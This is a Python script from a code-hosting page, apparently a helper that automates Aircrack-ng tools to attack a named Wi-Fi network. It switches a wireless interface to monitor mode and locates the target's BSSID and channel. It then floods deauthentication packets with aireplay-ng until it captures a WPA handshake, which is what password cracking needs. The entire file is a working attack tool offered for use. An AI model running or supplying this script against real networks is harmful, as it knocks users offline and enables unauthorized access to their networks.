-
Notifications
You must be signed in to change notification settings - Fork 23
/
wifi_helper.py
118 lines (102 loc) · 4.23 KB
/
wifi_helper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# it's a script just for using Aircrack-ng easily
#
# Usage:
# wifi_helper.py interface wifi-name
import os
import sys
import time
from multiprocessing import Process
class WIFIGeter:
def __init__(self, interface, name):
self.interface = interface
self.name = name
self.essid = ""
self.bssid = ""
self.flag = 0
self.stop()
self.start()
self.stop()
def start(self):
p = os.system('ifconfig %s down'%(self.interface))
p = os.system('iwconfig %s mode monitor'%(self.interface))
p = os.system('rm -rf tmp-wifi-%s*'%(self.name))
p = os.system('rm -rf result-wifi-%s*'%(self.name))
p1 = Process(target=self.get_all_wifis_bssid())
p1.start()
p2 = Process(target=self.get_specified_wifi_bssid_by_name())
p2.start()
p2.join()
p3 = Process(target=self.get_specified_wifi_handshake())
p3.start()
p4 = Process(target=self.send_repaly_package())
p4.start()
p4.join()
def get_all_wifis_bssid(self):
p = os.system('airodump-ng %s -w tmp-wifi-%s --output-format csv &'%(self.interface, self.name))
def get_specified_wifi_bssid_by_name(self):
csv_size = 0
while True:
try:
fp = open('tmp-wifi-%s-01.csv'%(self.name), 'r+')
for i in fp.readlines():
if self.name.lower() in i.lower():
print time.strftime('%H:%M:%S',time.localtime(time.time()))
print i.split(',')
self.essid = i.split(',')[-2].strip()
self.bssid = i.split(',')[0].strip()
self.channel = i.split(',')[3].strip()
break
fp.close()
if len(self.essid) > 0:
break
time.sleep(5)
if csv_size == os.path.getsize('tmp-wifi-%s-01.csv'%(self.name)):
self.stop()
self.start()
else:
csv_size = os.path.getsize('tmp-wifi-%s-01.csv'%(self.name))
except Exception as e:
pass
p = os.system(r"ps -aux | grep airodump-ng | grep tmp-wifi-%s | awk '{ print $2 }'| xargs kill -9"%(self.name))
p = os.system('rm -rf tmp-wifi-%s*'%(self.name))
def get_specified_wifi_handshake(self):
p = os.system('airodump-ng -w result-wifi-%s -c %s --bssid %s %s --output-format cap &'%(self.name, self.channel, self.bssid, self.interface))
def send_repaly_package(self):
cap_size = 0
while True:
os.system(r"ps -aux | grep aireplay-ng | awk '{ print $2 }'| xargs kill -9")
time.sleep(5)
p = os.system('aireplay-ng -0 10 -a %s %s &'%(self.bssid, self.interface))
self.check_handshake()
if self.flag == 1:
os.system(r"ps -aux | grep aireplay-ng | awk '{ print $2 }'| xargs kill -9")
break
time.sleep(5)
try:
if cap_size == os.path.getsize('result-wifi-%s-01.cap'%(self.name)):
self.stop()
self.start()
else:
cap_size = os.path.getsize('result-wifi-%s-01.cap'%(self.name))
except:
pass
def check_handshake(self):
p = os.popen('aircrack-ng result-wifi-%s-01.cap'%(self.name))
if '1 handshake' in p.read():
self.flag = 1
def stop(self):
p = os.system(r"ps -aux | grep airodump-ng | grep tmp-wifi-%s | awk '{ print $2 }'| xargs kill -9"%(self.name))
p = os.system(r"ps -aux | grep airodump-ng | grep result-wifi-%s | awk '{ print $2 }'| xargs kill -9"%(self.name))
p = os.system(r"ps -aux | grep aireplay-ng | awk '{ print $2 }'| xargs kill -9")
if len(sys.argv) != 3:
sys.exit("Usage: %s interface wifi-name"%(sys.argv[0]))
interface = sys.argv[1]
name = sys.argv[2]
try:
target=WIFIGeter(interface, name)
except KeyboardInterrupt:
WIFIGeter(interface, name).stop()
sys.exit()